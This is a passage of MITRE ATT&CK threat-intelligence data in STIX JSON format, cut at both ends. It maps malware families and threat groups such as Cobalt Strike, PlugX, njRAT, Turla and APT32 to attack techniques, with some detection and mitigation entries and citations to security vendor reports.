2019)","relationship_type":"uses","source_ref":"malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--071f5618-aac7-45ca-9fb5-c863b5d6a179","created":"2022-06-28T14:07:59.254Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"The [IceApple](https://attack.mitre.org/software/S1022) [ifconfig](https://attack.mitre.org/software/S0101) module can iterate over all network interfaces on the host and retrieve the name, description, MAC address, DNS suffix, DNS servers, gateways, IPv4 addresses, and subnet masks.(Citation: CrowdStrike IceApple May 2022)","modified":"2022-06-28T15:01:53.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0724c72a-61b3-49e9-908a-28b8177f6657","created":"2022-03-30T14:26:51.866Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes made to drive letters or mount points of data storage devices for unexpected modifications that may be used by rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components.","modified":"2022-04-11T17:22:49.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--072552be-9c74-4ee8-972c-46454a2c78c0","created":"2021-04-07T14:04:31.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.835Z","description":"The [Cobalt Strike](https://attack.mitre.org/software/S0154) System Profiler can use JavaScript to perform reconnaissance actions.(Citation: Talos Cobalt Strike September 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--072af62a-85d5-4803-aa05-d7c6efa9ec2a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-19T19:52:53.302Z","description":"[PLAINTEE](https://attack.mitre.org/software/S0254) collects general system enumeration data about the infected machine and checks the OS version.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--072c3b1d-1ad6-447e-9512-2c6bc6e797fd","created":"2021-03-23T20:49:40.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"},{"source_name":"Kaspersky ShadowPad Aug 2017","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:09:50.174Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) can modify the Registry to store and maintain a configuration block and virtual file system.(Citation: Kaspersky ShadowPad Aug 2017)(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--072ce102-e907-455c-a707-cded0bb29216","type":"relationship","created":"2021-02-18T20:23:02.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Guidepoint SUPERNOVA Dec 2020","url":"https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/","description":"Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021."},{"source_name":"Unit42 SUPERNOVA Dec 2020","url":"https://unit42.paloaltonetworks.com/solarstorm-supernova/","description":"Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021."}],"modified":"2021-04-23T23:00:42.131Z","description":"[SUPERNOVA](https://attack.mitre.org/software/S0578) had to receive an HTTP GET request containing a specific set of parameters in order to execute.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)","relationship_type":"uses","source_ref":"malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--073215cd-bc1e-48e8-8f3a-7d24f18b32c6","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"},{"description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","source_name":"Talos Seduploader Oct 2017"}],"modified":"2020-01-17T22:22:30.736Z","description":"A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant takes screenshots by simulating the user pressing the \"Take Screenshot\" key (VK_SCREENSHOT), accessing the screenshot saved in the clipboard, and converting it to a JPG image.(Citation: Unit 42 Playbook Dec 2017)(Citation: Talos Seduploader Oct 2017)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07324f90-f7c1-41f7-8d08-3ecec98bbe5c","type":"relationship","created":"2021-03-08T14:04:31.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:08.969Z","description":"The [TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) command and execution module can perform target system enumeration.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--073aff0c-1dd2-40f4-87da-d90809f3418a","created":"2020-05-22T15:43:05.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.773Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used various tools to proxy C2 communications.(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--073fd81c-b49a-4800-b73a-c1b3aba3aa54","created":"2019-01-31T02:01:45.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Hacking FIN4 Video Dec 2014","description":"Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.","url":"https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html"},{"source_name":"FireEye Hacking FIN4 Dec 2014","description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-01T21:27:44.782Z","description":"[FIN4](https://attack.mitre.org/groups/G0085) has used legitimate credentials to hijack email communications.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)","relationship_type":"uses","source_ref":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0741e02b-edaa-43a4-a96c-d6baf2d29015","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"},{"source_name":"District Court of NY APT10 Indictment December 2018","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020.","url":"https://www.justice.gov/opa/page/file/1122671/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:06:31.021Z","description":"A [menuPass](https://attack.mitre.org/groups/G0045) macro deletes files after it has decoded and decompressed them.(Citation: Accenture Hogfish April 2018)(Citation: District Court of NY APT10 Indictment December 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0743264d-1356-4f9e-96cc-8698f5e0e862","type":"relationship","created":"2019-01-31T01:07:58.553Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:37.812Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used pass the hash for lateral movement.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--074ed0d8-8a95-4090-a23b-6c3915587590","type":"relationship","created":"2021-09-09T15:38:06.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 ProjectM March 2016","url":"https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/","description":"Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. Retrieved September 2, 2021."}],"modified":"2021-09-09T15:38:06.867Z","description":"(Citation: Unit 42 ProjectM March 2016)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07516f04-c7aa-46c7-9cca-0f81b84043e2","type":"relationship","created":"2019-06-20T01:02:00.303Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2021-02-09T14:37:26.349Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used a custom decryption routine, which pulls key and salt values from other artifacts such as a WMI filter or [PowerShell Profile](https://attack.mitre.org/techniques/T1546/013), to decode encrypted PowerShell payloads.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--075c6890-45e1-495e-a83e-b81ab05a8b4e","type":"relationship","created":"2019-09-13T13:17:26.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-09-13T17:14:47.484Z","description":"[Machete](https://attack.mitre.org/software/S0409)’s downloaded data is decrypted using AES.(Citation: ESET Machete July 2019)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--075cdcb0-5a29-4ebb-bb0d-c2b22a5acec8","type":"relationship","created":"2022-03-17T12:34:56.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-17T12:40:55.387Z","description":"In cloud environments, ensure that users are not granted permissions to create or modify traffic mirrors unless this is explicitly required.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--075e7d33-8d5c-4016-9a24-dc6e61f56fcd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}],"modified":"2020-03-20T16:35:27.455Z","description":"Some variants of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) achieve persistence by registering the payload as a Shell Icon Overlay handler COM object.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--076141ed-10e8-4161-9cca-de1819f9cbdc","type":"relationship","created":"2021-01-06T17:15:47.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Additional Details Dec 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html","description":"Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. Retrieved January 6, 2021."}],"modified":"2021-01-10T18:09:07.618Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) attempted to disable software security services following checks against a FNV-1a + XOR hashed hardcoded blocklist.(Citation: FireEye SUNBURST Additional Details Dec 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0764c8ee-8577-4124-9658-7cc90f74726f","created":"2024-08-09T18:36:58.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T20:09:32.353Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can store captured screenshots to disk including to a covert store named `APPX.%x%x%x%x%x.tmp` where `%x` is a random value.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0766fe91-a8d9-42bd-8023-f2134b280211","type":"relationship","created":"2022-03-07T19:33:27.021Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"modified":"2022-03-07T19:33:27.021Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can encrypt C2 messages with AES-256-CBC sent underneath TLS. OpenSSL library functions are also used to encrypt each message using a randomly generated key and IV, which are then encrypted using a hard-coded RSA public key.(Citation: NCSC Cyclops Blink February 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07683c47-4572-4579-93e7-ac83f2933ac2","type":"relationship","created":"2020-01-14T17:19:51.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-14T17:19:51.120Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07702379-2d40-48ae-a077-d68e0da5e4be","type":"relationship","created":"2019-01-29T18:17:59.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CIRCL PlugX March 2013","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."},{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:53:13.212Z","description":"[PlugX](https://attack.mitre.org/software/S0013) has a module to enumerate drives and find files recursively.(Citation: CIRCL PlugX March 2013)(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07720e8d-fd8a-449c-ac32-484ccf989694","type":"relationship","created":"2021-10-01T20:57:16.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.558Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) can collect IP information from the victim’s machine.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0775a1ba-c95a-472e-ab1c-d21108acc907","type":"relationship","created":"2020-05-26T21:02:38.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Netwalker May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}],"modified":"2020-06-08T16:07:36.216Z","description":"[Netwalker](https://attack.mitre.org/software/S0457) can add the following registry entry: HKEY_CURRENT_USER\\SOFTWARE\\{8 random characters}.(Citation: TrendMicro Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07773227-54d9-4476-877a-739c490b7b65","type":"relationship","created":"2019-06-24T18:57:11.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."},{"source_name":"Trend Micro njRAT 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019."},{"source_name":"Citizen Lab Group5","description":"Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.","url":"https://citizenlab.ca/2016/08/group5-syria/"}],"modified":"2019-06-24T18:57:11.074Z","description":"[njRAT](https://attack.mitre.org/software/S0385) has a module that steals passwords saved in victim web browsers.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)(Citation: Citizen Lab 